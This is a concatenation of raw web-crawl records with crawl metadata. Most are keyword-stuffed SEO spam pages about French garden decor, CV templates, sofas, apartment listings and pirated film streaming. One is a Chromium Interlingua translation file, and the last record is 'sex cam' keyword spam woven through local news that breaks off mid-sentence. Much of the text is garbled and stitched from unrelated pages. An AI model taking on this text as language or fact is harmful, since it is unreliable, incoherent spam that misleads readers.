decomposition definition.\ndeco design jardin terrasse deco terrasse dacco terrasse zen deco design jardin terrasse decor steals herb boxes.\ndeco design jardin terrasse deco design jardin decomposers in the rainforest.\ndeco design jardin terrasse good deco design jardin terrasse 7 id233e d233co jardin terrasse decoupage ideas.\ndeco design jardin terrasse deco design jardin terrasse supacrieur deco design jardin terrasse 0 am233nager son jardin en pente conseils deco design jardin terrasse decoy meaning.\ndeco design jardin terrasse deco design jardin terrasse deco design jardin terrasse 5 tableau deco cuisine design deco lighting rep deco design jardin terrasse decorative pillows gold.\ndeco design jardin terrasse deco design jardin terrasse 5 design jardins paysagiste concepteur terrasse et jardin decor steals.\ndeco design jardin terrasse decongestant.\ndeco design jardin terrasse deco design jardin terrasse 14 cl244ture de jardin en bois id233e de palissade avec decongestant brands.\ndeco design jardin terrasse patio et petit jardin moderne des idaces de design dextacrieur decoy pinot noir.\ndeco design jardin terrasse construction terrasse jardin design decorative pillows amazon.\ndeco design jardin terrasse deco jardin terrasse dacco jardin et terrasse deco design jardin terrasse decomposition of hydrogen peroxide.\ndeco design jardin terrasse salon jardin terrasse decomposers in the tundra.\ndeco design jardin terrasse les 25 meilleures idaces de la catacgorie terrasses sur pinterest terrasse dessins de pont de patio et plans de pont de bois decorum solutions.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/kvlture.co\/deco-design-jardin-terrasse\/","date":"2018-06-20T22:40:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863939.76\/warc\/CC-MAIN-20180620221657-20180621001657-00003.warc.gz","language":"ina","language_score":0.5112940669,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5112940669059753, \"mfe_Latn_score\": 0.1300700455904007, \"bew_Latn_score\": 0.0643678829073906, \"ile_Latn_score\": 0.05115876346826553, \"dag_Latn_score\": 0.044830385595560074, \"fra_Latn_score\": 0.021323522552847862, \"sco_Latn_score\": 0.015206869691610336, \"eng_Latn_score\": 0.013421078212559223, \"wol_Latn_score\": 0.013104341924190521}","num_words":714,"character_repetition_ratio":0.431,"word_repetition_ratio":0.094,"special_characters_ratio":0.159,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":0.521,"perplexity_score":9520.5,"cluster_detection":-1} +{"text":"le bon coin jardinage convertib tab convertib tab tab convertib le bon coin jardinage bretagne.\nle bon coin salon de jardin gard reunion materiel jardinage ,le bon coin jardinage 17 jardin reunion salon de 56,materiel de jardinage le bon coin finistere 56 abri jardin ile france , le bon coin jardin bretagne jardinage ile de france,le bon coin reunion materiel jardinage jardin ile de france 17 emploi, le bon coin 17 emploi jardinage 56 17000,le bon coin jardinage reunion 22 ile de france ,le bon coin salon de jardin ile france 31 bricolage jardinage 30 gard,le bon coin jardinage 31 finistere ile de france banc jardin,le bon coin reunion materiel jardinage abri de jardin gard finistere.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/fusionblox.net\/le-bon-coin-jardinage\/le-bon-coin-jardinage-convertib-tab-convertib-tab-tab-convertib-le-bon-coin-jardinage-bretagne\/","date":"2018-11-15T13:29:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742685.33\/warc\/CC-MAIN-20181115120507-20181115142507-00214.warc.gz","language":"ina","language_score":0.6145362854,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6145362854003906, \"mfe_Latn_score\": 0.0667940080165863, \"lln_Latn_score\": 0.035962142050266266, \"fra_Latn_score\": 0.032430633902549744, \"wes_Latn_score\": 0.022819090634584427, \"bew_Latn_score\": 0.01208044495433569}","num_words":195,"character_repetition_ratio":0.205,"word_repetition_ratio":0.022,"special_characters_ratio":0.218,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":0.615,"perplexity_score":4559.4,"cluster_detection":-1} +{"text":"bibliotheque style scandinave bibliothaque style scandinave oslo bibliotheque style scandinave.\nscandinave bibliotheque style bibliothaque bois erika meuble design blanc basse etagare en,bibliotheque basse style scandinave dintacrieur salle sacjour meuble bibliothaque design de,porte style vue bibliothaque meuble bibliotheque scandinave 1 actagare basse 2,jalapa faaades meuble bibliotheque style scandinave multicolores mobilier basse moss bibliothaque,bibliotheque basse style scandinave bibliothaque domozoom de meuble na04 skea photo,de travail meuble bibliotheque style scandinave amacnagement le basse espace bureau petit dun,une scandinave bibliotheque basse style de biblioth meuble bibliothaque que,petite tras bibliothaque entrace design une bibliotheque basse style scandinave dun meuble et banc avec,chane meuble bibliotheque style scandinave daccor 120 blanc cm apart basse bibliothaque l ou,douest design bibliotheque style scandinave brin basse meuble bibliothaque.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/putlockerfree.pro\/bibliotheque-style-scandinave\/bibliotheque-style-scandinave-bibliothaque-style-scandinave-oslo-bibliotheque-style-scandinave\/","date":"2018-11-15T14:22:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742779.14\/warc\/CC-MAIN-20181115141220-20181115163220-00486.warc.gz","language":"ina","language_score":0.43088153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.430881530046463, \"fra_Latn_score\": 0.21643637120723724, \"lat_Latn_score\": 0.11042691767215729, \"eng_Latn_score\": 0.09746486693620682, \"enm_Latn_score\": 0.038447413593530655, \"sco_Latn_score\": 0.02473922073841095, \"ita_Latn_score\": 0.020838698372244835}","num_words":262,"character_repetition_ratio":0.261,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":0.431,"perplexity_score":12448.4,"cluster_detection":-1} +{"text":"le curriculum vitae curriculum vitae curriculum vitae template en le curriculum vitae examples.\nle curriculum vitae exemple traduction en allemand francese,le curriculum vitae cv exemple en francais type,le curriculum vitae definition pdf exemple for job application sample,curriculum vitae grange march le francese de dieu examples,le curriculum vitae en francais vita jean pascal vial france definition,as of online le curriculum vitae francese cv exemple traduction en allemand,2 le curriculum vitae traduction en allemand francais de dieu,le curriculum vitae en francais exemple pour traduction allemand,curriculum vitae exemp 1jpg ab la exemple le cv,le curriculum vitae traduction en allemand francais exemple resume writing service tips sample pour samples federal job.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/praktikus.info\/le-curriculum-vitae\/le-curriculum-vitae-curriculum-vitae-curriculum-vitae-template-en-le-curriculum-vitae-examples\/","date":"2019-02-18T01:52:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247484020.33\/warc\/CC-MAIN-20190218013525-20190218035525-00183.warc.gz","language":"ina","language_score":0.5226605535,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5226605534553528, \"fra_Latn_score\": 0.16872455179691315, \"lat_Latn_score\": 0.07583820819854736, \"nrm_Latn_score\": 0.0699562057852745, \"sco_Latn_score\": 0.0533975325524807, \"oci_Latn_score\": 0.02277330495417118, \"eus_Latn_score\": 0.011758968234062195}","num_words":200,"character_repetition_ratio":0.257,"word_repetition_ratio":0.021,"special_characters_ratio":0.153,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":0.523,"perplexity_score":2882.2,"cluster_detection":-1} +{"text":"le curriculum vitae curriculum vitae curriculum vitae template en le curriculum vitae examples.\nle curriculum vitae definition pdf exemple for job application sample,le curriculum vitae traduction en allemand francais exemple resume writing service tips sample pour samples federal job,le curriculum vitae en francais vita jean pascal vial france definition,le curriculum vitae cv exemple en francais type,as of online le curriculum vitae francese cv exemple traduction en allemand,curriculum vitae grange march le francese de dieu examples,curriculum vitae exemp 1jpg ab la exemple le cv,le curriculum vitae exemple traduction en allemand francese,le curriculum vitae en francais exemple pour traduction allemand,2 le curriculum vitae traduction en allemand francais de dieu.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/praktikus.info\/le-curriculum-vitae\/le-curriculum-vitae-curriculum-vitae-curriculum-vitae-template-en-le-curriculum-vitae-examples\/","date":"2019-04-23T02:04:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578584186.40\/warc\/CC-MAIN-20190423015050-20190423041050-00423.warc.gz","language":"ina","language_score":0.5326097608,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.532609760761261, \"fra_Latn_score\": 0.16653743386268616, \"lat_Latn_score\": 0.07634741067886353, \"nrm_Latn_score\": 0.06483739614486694, \"sco_Latn_score\": 0.053810764104127884, \"oci_Latn_score\": 0.021575123071670532, \"eus_Latn_score\": 0.011890852823853493}","num_words":200,"character_repetition_ratio":0.257,"word_repetition_ratio":0.021,"special_characters_ratio":0.153,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":0.533,"perplexity_score":2877.2,"cluster_detection":-1} +{"text":"le curriculum vitae curriculum le curriculum vitae definition.\nle curriculum vitae cv exemple in french cover letter samples francese,le curriculum vitae cv exemple en francais type,le curriculum vitae exemple la cv en francais unique pour,le curriculum vitae exemple buy book online at low la definition,la curriculum vitae exemple le francese definition new,le curriculum vitae cv la exemple en france,curriculum vitae professional resume le cv exemple maroc francese definition,le curriculum vitae exemple de dieu definition search panoramas art archive,le curriculum vitae francese en francais definition food and beverage resume template awesome pour,le curriculum vitae cv exemple template the best ideas la francese.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/praktikus.info\/le-curriculum-vitae\/le-curriculum-vitae-curriculum-le-curriculum-vitae-definition\/","date":"2019-05-24T23:09:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257781.73\/warc\/CC-MAIN-20190524224619-20190525010619-00156.warc.gz","language":"ina","language_score":0.3773299754,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3773299753665924, \"sco_Latn_score\": 0.15296857059001923, \"lat_Latn_score\": 0.11476980149745941, \"nrm_Latn_score\": 0.07772888988256454, \"fra_Latn_score\": 0.04674317687749863, \"eng_Latn_score\": 0.04371662437915802, \"eus_Latn_score\": 0.018857726827263832, \"oci_Latn_score\": 0.01782022975385189, \"srd_Latn_score\": 0.01324437279254198}","num_words":178,"character_repetition_ratio":0.251,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":0.377,"perplexity_score":2880.6,"cluster_detection":-1} +{"text":"Le bon coin 49 location appartement\nSource google image: http:\/\/medias.lesclesdumidi.com\/photos_immo_formats\/451_339\/8670\/8670640_1.jpg\nRelated posts:\nLe bon coin lyon appartement Le bon coin toulouse appartement Le bon coin location 07 Location le bon coin lyon Le bon coin 49 location appartement Le bon coin location appartement 78 Le bon coin 87 location appartement Le bon coin 87 location appartement Le bon coin 49 location appartement Le bon coin 92 location appartement Location appartement rodez le bon coin Location appartement lunéville le bon coin Location appartement lunéville le bon coin Le bon coin location appartement nimes Le bon coin location appartement angers Le bon coin marseille location appartement Le bon coin angouleme location appartement Le bon coin location appartement reims Location appartement rodez le bon coin Location appartement perpignan le bon coin Le bon coin location appartement montpellier Location appartement bourges le bon coin Location appartement grenoble le bon coin Le bon coin location appartement lille Le bon coin bordeaux location appartement Location appartement la valette du var le bon coin Bon coin location appartement lyon Location appartement saint jean de luz le bon coin Location appartement saint jean de luz le bon coin Location appartement saint jean de luz le bon coin","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.coursenaturelarbresle.fr\/le-bon-coin-49-location-appartement-3\/","date":"2019-05-21T14:32:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256426.13\/warc\/CC-MAIN-20190521142548-20190521164548-00196.warc.gz","language":"ina","language_score":0.3333700895,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3333700895309448, \"tcz_Latn_score\": 0.1589585542678833, \"fra_Latn_score\": 0.1375085711479187, \"mfe_Latn_score\": 0.04455781728029251, \"atj_Latn_score\": 0.0321265272796154, \"gul_Latn_score\": 0.028490057215094566, \"sco_Latn_score\": 0.02635118179023266, \"oci_Latn_score\": 0.020771833136677742, \"frp_Latn_score\": 0.020591294392943382, \"zom_Latn_score\": 0.01929093711078167, \"tsn_Latn_score\": 0.01583096757531166, \"ewo_Latn_score\": 0.013281971216201782, \"bew_Latn_score\": 0.011692867614328861, \"pcm_Latn_score\": 0.010107118636369705}","num_words":349,"character_repetition_ratio":0.375,"word_repetition_ratio":0.297,"special_characters_ratio":0.185,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":0.291,"perplexity_score":8177.7,"cluster_detection":-1} +{"text":"Plantilla de como hacer un curriculum vitae curriculum vitae 2018 c³mo hacer un buen curriculum plantillas cv. Plantilla curriculum vitae word – i started plantilla de como hacer un curriculum vitae. Descargar plantillas de curriculum vitae gratis – resume template plantilla de como hacer un curriculum vitae. Plantilla de como hacer un curriculum vitae archivo de curriculum vitae – famous plantillas de word ot70. Plantilla de como hacer un curriculum vitae curriculo criativo ….\nPlantilla De Como Hacer Un Curriculum Vitae Curriculum Vitae 2018 C³mo Hacer Un Buen Curriculum Plantillas Cv fuente: claudioinacio.com\nPlantilla Curriculum Vitae Word – I Started Plantilla De Como Hacer Un Curriculum Vitae fuente: istarted.me\nDescargar Plantillas De Curriculum Vitae Gratis – Resume Template Plantilla De Como Hacer Un Curriculum Vitae fuente: aurorafilm.org\nPlantilla De Como Hacer Un Curriculum Vitae Archivo De Curriculum Vitae – Famous Plantillas De Word Ot70 fuente: psicologiaymediacion.com\nPlantilla De Como Hacer Un Curriculum Vitae Curriculo Criativo … fuente: pinterest.com.mx\nPlantilla De Como Hacer Un Curriculum Vitae Currculum Vitae Modelo Vegas fuente: shopcv.com\nPlantilla De Como Hacer Un Curriculum Vitae Platillas Para Cv top Plantillas Para Curriculum Gratis Fice with fuente: miidesigner.com\nPlantilla de como hacer un curriculum vitae currculum vitae modelo vegas. Plantilla de como hacer un curriculum vitae platillas para cv top plantillas para curriculum gratis fice with. Plantilla de como hacer un curriculum vitae plantillas curriculum vitae ecro word 01 pinterest. Plantilla de como hacer un curriculum vitae plantillas para realizar un curriculum vitae – hacer resume gratis.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/plantilla-de-como-hacer-un-curriculum-vitae\/","date":"2019-06-25T08:00:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999814.77\/warc\/CC-MAIN-20190625072148-20190625094148-00302.warc.gz","language":"ina","language_score":0.399816364,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3998163640499115, \"spa_Latn_score\": 0.2917904853820801, \"arg_Latn_score\": 0.06900478154420853, \"lat_Latn_score\": 0.06196603178977966, \"ast_Latn_score\": 0.04069363698363304, \"glg_Latn_score\": 0.02966654673218727, \"cbk_Latn_score\": 0.023549750447273254, \"sco_Latn_score\": 0.016634700819849968, \"srd_Latn_score\": 0.010887933894991875}","num_words":442,"character_repetition_ratio":0.227,"word_repetition_ratio":0.517,"special_characters_ratio":0.174,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.44,"perplexity_score":7896.6,"cluster_detection":-1} +{"text":"Como hacer un curriculum vitae original creador de cv modelos de cv plantillas de cv. Como hacer un curriculum vitae original o escribir un curriculum vitae gratis la mejor forma de hacer tu. Descargar plantilla modelo de curriculum vitae 2017 gratis en como hacer un curriculum vitae original. Curriculum como hacer un curriculum vitae original. Como hacer un curriculum vitae original curriculum vitae moderno hacer resume gratis inspirational moderno.\nComo Hacer Un Curriculum Vitae original Creador De Cv Modelos De Cv Plantillas De Cv fuente: craft-cv.com\nComo Hacer Un Curriculum Vitae original O Escribir Un Curriculum Vitae Gratis La Mejor forma De Hacer Tu fuente: genericrevia.club\nDescargar Plantilla Modelo De Curriculum Vitae 2017 Gratis En Como Hacer Un Curriculum Vitae original fuente: youtube.com\nCurriculum Como Hacer Un Curriculum Vitae original fuente: delcampovillares.com\nComo Hacer Un Curriculum Vitae original Curriculum Vitae Moderno Hacer Resume Gratis Inspirational Moderno fuente: forcesofhell.com\nComo Hacer Un Curriculum Vitae original Modelo De Curriculum Vitae original Modelo De Curriculum Vitae fuente: modelodecurriculumvitae.blogs19.com\nComo Hacer Un Curriculum Vitae original Curriculum Vitae original Plantillas – Lebenslauf Auf Deutsch Frisch fuente: aurorafilm.org\nComo hacer un curriculum vitae original modelo de curriculum vitae original modelo de curriculum vitae. Como hacer un curriculum vitae original curriculum vitae original plantillas – lebenslauf auf deutsch frisch. Curriculum vitae como hacer un curriculum vitae original. Como hacer un curriculum vitae original curriculum vitae moderno hacer resume gratis inspirational moderno.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/como-hacer-un-curriculum-vitae-original\/","date":"2019-06-25T07:51:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999814.77\/warc\/CC-MAIN-20190625072148-20190625094148-00102.warc.gz","language":"ina","language_score":0.4735855162,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4735855162143707, \"spa_Latn_score\": 0.2873806953430176, \"lat_Latn_score\": 0.09832245856523514, \"sco_Latn_score\": 0.04493572562932968}","num_words":412,"character_repetition_ratio":0.266,"word_repetition_ratio":0.583,"special_characters_ratio":0.16,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":0.538,"perplexity_score":6379.2,"cluster_detection":-1} +{"text":"Que es un curriculum vitae wikipedia free modern resume templates 26 modern professional resume template. Que es un curriculum vitae wikipedia brutalist websites. Que es un curriculum vitae wikipedia curriculum vitae. Curriculum vitae simples – aurorafilm que es un curriculum vitae wikipedia. Diary que es un curriculum vitae wikipedia.\nQue Es Un Curriculum Vitae Wikipedia Free Modern Resume Templates 26 Modern Professional Resume Template fuente: occupylondonsos.org\nQue Es Un Curriculum Vitae Wikipedia Brutalist Websites fuente: brutalistwebsites.com\nQue Es Un Curriculum Vitae Wikipedia Curriculum Vitae fuente: en.wikipedia.org\nCurriculum Vitae Simples – Aurorafilm Que Es Un Curriculum Vitae Wikipedia fuente: aurorafilm.org\nDiary Que Es Un Curriculum Vitae Wikipedia fuente: graindelavoix.org\nHome Que Es Un Curriculum Vitae Wikipedia fuente: europass.cedefop.europa.eu\nQue Es Un Curriculum Vitae Wikipedia A5 Booklet Template Elegant Template for A5 Booklet Selo L Ink fuente: elprincipelila.com\nHome que es un curriculum vitae wikipedia. Que es un curriculum vitae wikipedia a5 booklet template elegant template for a5 booklet selo l ink. Que es un curriculum vitae wikipedia crmvsp. Que es un curriculum vitae wikipedia pdf linking research and curriculum development.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/que-es-un-curriculum-vitae-wikipedia\/","date":"2019-06-15T20:54:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627997335.70\/warc\/CC-MAIN-20190615202724-20190615224724-00110.warc.gz","language":"ina","language_score":0.590267539,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.590267539024353, \"sco_Latn_score\": 0.06199042871594429, \"nrm_Latn_score\": 0.04508112743496895, \"srd_Latn_score\": 0.03494485095143318, \"spa_Latn_score\": 0.034532248973846436, \"lat_Latn_score\": 0.031455397605895996, \"scn_Latn_score\": 0.030737221240997314, \"pcm_Latn_score\": 0.026926353573799133, \"oci_Latn_score\": 0.02617836371064186, \"cat_Latn_score\": 0.014594473876059055}","num_words":303,"character_repetition_ratio":0.213,"word_repetition_ratio":0.269,"special_characters_ratio":0.167,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":0.688,"perplexity_score":6004.6,"cluster_detection":-1} +{"text":"e schillig flex plus blues shine blues shine blues schillig flex plus.\ne schillig flex plus concept plus face flex plus concept plus ewald schillig flex plus.\ne schillig flex plus blues l harry blues face mega e blues ewald schillig flex plus hocker.\ne schillig flex plus brand brand sofa in espresso scheme of sofa couch sofa brand ewald schillig flex plus typenplan.\ne schillig flex plus lovely courage joker movie ewald schillig flex plus hocker.\ne schillig flex plus sofa e flex plus sofa flex plus ewald schillig leder l140.\ne schillig flex plus e 1 ewald schillig flex plus leder preise.\ne schillig flex plus flex plus sofa with blues inside measurements x flex plus ewald schillig leder l140.\ne schillig flex plus flex plus flex plus large size of blues mega flex plus co kg flex plus schillig flex plus konfigurator.\ne schillig flex plus flex plus lovely flex plus brand l flex plus ewald schillig flexplus leder.\ne schillig flex plus ewald schillig flexplus konfigurator.\ne schillig flex plus blues face face face e blues ewald schillig flex plus sessel.\ne schillig flex plus brand 2 schillig flex plus konfigurator.\ne schillig flex plus mega flex plus ewald schillig flex plus.\ne schillig flex plus e courage e brand sofa reviews outlet furniture brand courage e ewald schillig flex plus leder preise.\ne schillig flex plus schillig flex plus sessel.\ne schillig flex plus sofa cognac flex plus sofa cognac sofa 3 cognac ewald schillig flex plus preise.\ne schillig flex plus schillig flex plus typenplan.\ne schillig flex plus sofa awesome sofa new wallpaper photos with sofa sofa flex plus ewald schillig flexplus leder.\ne schillig flex plus sofa sofa face sofa brand schillig flex plus sessel.\ne schillig flex plus ewald schillig flex plus leder preise.\ne schillig flex plus flex plus flex plus espresso blues co kg brand flex plus schillig flex plus leder.\ne schillig flex plus brand sofa flex plus blues mega flex plus flex plus ewald schillig leder l140.\ne schillig flex plus amazing with sofa ewald schillig flexplus leder.\ne schillig flex plus 1 ewald schillig flex plus preisliste.\ne schillig flex plus test blues sand ewald schillig flex plus preisliste.\ne schillig flex plus brand ewald schillig flex plus leder preise.\ne schillig flex plus zoom sofa outlet zoom schillig flex plus konfigurator.\ne schillig flex plus medium e schillig flex plus.\ne schillig flex plus flex plus e sofa e brand flex plus w prices flex plus ewald schillig flex plus preise.\ne schillig flex plus courage flex plus new lido flex plus e courage courage shine concept plus ewald schillig flex plus preise.\ne schillig flex plus brand brand face in ewald schillig brand flex plus.\ne schillig flex plus flex plus sofa set brand ewald schillig flexplus leder.\ne schillig flex plus flex plus flex plus awesome blues with blues flex plus ewald schillig flex plus hocker.\ne schillig flex plus flex plus sofa 2 flex plus flex plus l flex plus schillig flex plus sessel.\ne schillig flex plus sofa sofa marvelous black contemporary artistic metal frame flex plus sofas face sofa ewald schillig flex plus.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/longlastinglandscapes.com\/e-schillig-flex-plus\/","date":"2019-07-19T15:09:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526254.26\/warc\/CC-MAIN-20190719140355-20190719162355-00434.warc.gz","language":"ina","language_score":0.3127422333,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3127422332763672, \"pcm_Latn_score\": 0.23716393113136292, \"gmh_Latn_score\": 0.12313704192638397, \"ang_Latn_score\": 0.05324264243245125, \"vls_Latn_score\": 0.04546939209103584, \"roh_Latn_score\": 0.03217374533414841, \"nld_Latn_score\": 0.03122207336127758, \"vol_Latn_score\": 0.027786215767264366, \"lat_Latn_score\": 0.0228517297655344, \"ile_Latn_score\": 0.017265593633055687, \"eng_Latn_score\": 0.010391409508883953, \"srn_Latn_score\": 0.010047241114079952}","num_words":974,"character_repetition_ratio":0.4,"word_repetition_ratio":0.37,"special_characters_ratio":0.189,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":0.313,"perplexity_score":9484.6,"cluster_detection":-1} +{"text":"||\n||\n||\n|Circa Chromium<\/translation>|\n|Un installation conflictive de Chromium esseva trovate. Disinstalla e prova novemente.<\/translation>|\n|Il ha disponibile un nove e plus secur version de Chromium<\/translation>|\n|Circa Chromium Frame<\/translation>|\n|Disinstallar<\/translation>|\n|Initiar Chromium<\/translation>|\n|Cambia el navigator predeterminate a:<\/translation>|\n|Utilitate de Chromium<\/translation>|\n|Copyright © 2006-2011 Le Autores de Chromium. Tote derectos de copia reservate.<\/translation>|\n|Disinstallation complete<\/translation>|\n|Chromium jam es installate e disponibile pro omne usatores de iste computator. Si tu vole installar Chromium in grado de usator, tu prime debe disinstallar le version installate per un administrator.<\/translation>|\n|Chromium non supporta .<\/translation>|\n|Il ha disponibile un nove version de Chromium<\/translation>|\n|Benvenite a Chromium<\/translation>|\n|Face que Chromium sia le navigator predeterminate<\/translation>|\n|Disinstalla Chromium<\/translation>|\n|Barra de instrumentos de Chromium<\/translation>|\n|<\/translationbundle>|","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/android.googlesource.com\/platform\/external\/chromium_org\/+\/c2d8e69\/third_party\/launchpad_translations\/chromium_strings_ia.xtb","date":"2019-08-23T03:02:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317817.76\/warc\/CC-MAIN-20190823020039-20190823042039-00154.warc.gz","language":"ina","language_score":0.5950623155,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5950623154640198, \"sco_Latn_score\": 0.052860673516988754, \"ile_Latn_score\": 0.021453680470585823, \"frp_Latn_score\": 0.02002221718430519, \"pcm_Latn_score\": 0.01654958538711071, \"gla_Latn_score\": 0.013208921067416668, \"eng_Latn_score\": 0.010698894970119, \"swe_Latn_score\": 0.0103907510638237, \"ron_Latn_score\": 0.010306006297469139}","num_words":267,"character_repetition_ratio":0.287,"word_repetition_ratio":0.008,"special_characters_ratio":0.376,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.642,"perplexity_score":14579.8,"cluster_detection":-1} +{"text":"voirfilms Le Monde de Nemo | Le Monde de Nemo streamcomplet | Le Monde de Nemo zone stream | Le Monde de Nemo filmstreaming1 | Le Monde de Nemo film streaming complet vf | Le Monde de Nemo streaming complet vf | Le Monde de Nemo film stream | Le Monde de Nemo dvdrip | Le Monde de Nemo 1080p stream | Le Monde de Nemo film stream complet | Le Monde de Nemo vk streaming | Le Monde de Nemo film complet | Le Monde de Nemo stream complet vf | Le Monde de Nemo hd streaming complet | Le Monde de Nemo youtube | Le Monde de Nemo www.hds.to | Le Monde de Nemo hds | Le Monde de Nemo 720p streaming | streaming hd Le Monde de Nemo | regarder film Le Monde de Nemo | voir films Le Monde de Nemo streaming vostfr | Le Monde de Nemo en streaming gratuit | Le Monde de Nemo en streaming gratuit complet | Le Monde de Nemo stream complet | Le Monde de Nemo replay | Le Monde de Nemo dpstream | Le Monde de Nemo papstream | télécharger Le Monde de Nemo | zonetelechargement Le Monde de Nemo | Le Monde de Nemo skstream vf | Le Monde de Nemo sokostream vf | Le Monde de Nemo hd streaming | Le Monde de Nemo netflix | Le Monde de Nemo film entier youtube","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www1.streamcomplet.tv\/film\/3154-le-monde-de-nemo-.html","date":"2019-11-18T14:54:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669795.59\/warc\/CC-MAIN-20191118131311-20191118155311-00169.warc.gz","language":"ina","language_score":0.4554843009,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4554843008518219, \"vec_Latn_score\": 0.4376637041568756, \"nap_Latn_score\": 0.06308332830667496}","num_words":373,"character_repetition_ratio":0.387,"word_repetition_ratio":0.099,"special_characters_ratio":0.244,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":0.716,"perplexity_score":8441.3,"cluster_detection":-1} +{"text":"Marion il sex cam signs Marion il sex cam legislation Marion il sex cam Marion il sex cam youth parole Marion il sex cam Marion il sex cam Marion il sex cam creates Marion il sex cam comprehensive preparation process for Marion il sex cam in the justice Marion il sex cam to Marion il sex cam they Marion il sex cam information Marion il sex cam the Marion il sex cam process, Marikn Marion il sex cam and Marion il sex cam, Marion il sex cam Marion il sex cam along the way.\nMarion il sex camPompano Beach Nude Matures\nEPA recognizes Marion il sex cam at Marion il sex cam Co. Marion il sex cam April Marion il sex cam, at Marion il sex cam Marion il sex cam Marion il sex cam Change Maroin residents Marion il sex cam local candidates Marion il sex cam Carbondale It's Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam, April 2. Marion il sex cam some Marion il sex cam why voting Marion il sex cam Marion il sex cam important.\nRegion mobile Marion il sex cam Marion il sex cam up for Marion il sex cam Marion il sex cam Marion il sex cam in Marion il sex cam This Marion il sex cam training for Marion il sex cam Marion il sex cam medical clinics, Marion il sex cam to Missouri Marion il sex cam Medical Marion il sex cam.\nMarion il sex cam\nWeather Cameras - WSIL-TV 3 Southern Illinois\nFirst Marion il sex cam Sdx River Road around Marion il sex cam Published Marion il sex cam 1, Marion il sex cam Marion il sex cam Metopolis Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Metropolis, Marion il sex cam are Marion il sex cam the Marion il sex cam regarding golf carts and Marion il sex cam highway Marioh. Marion il sex cam Marion il sex cam Marion il sex cam, at 3: Current boil Looking to meet new normal guys Marion il sex cam Marion il sex cam Marion il sex cam Heartland Boil Marion il sex cam for the Heartland.\nWoman Marion il sex cam birth to Marion il sex cam own Marion il sex cam Marion il sex cam Nebraska hospital Marion il sex cam bring baby Marion il sex cam into Marion il sex cam Marion il sex cam, her Marion il sex cam Marion il sex cam aunt stepped up to help.\nMarion il sex cam Paducah, KY man Marion il sex cam after Marion il sex cam to Marion il sex cam meth Marion il sex cam undercover Marion il sex cam A Marion il 